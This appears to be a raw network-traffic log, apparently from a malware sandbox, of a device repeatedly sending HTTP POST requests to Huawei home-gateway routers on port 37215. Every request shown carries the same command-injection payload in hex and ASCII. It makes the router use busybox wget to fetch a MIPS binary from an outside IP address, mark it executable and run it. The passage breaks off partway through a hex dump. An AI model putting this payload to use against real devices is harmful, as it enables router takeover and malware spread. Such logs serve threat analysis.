Dec 30, 2023 07:15:53.912664890 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:15:56.056444883 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:00.151838064 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:08.342782021 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:26.516243935 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:59.279563904 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.23	34818	156.247.19.146	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:56.843862057 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:00.919688940 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:07.062978983 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:19.093233109 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 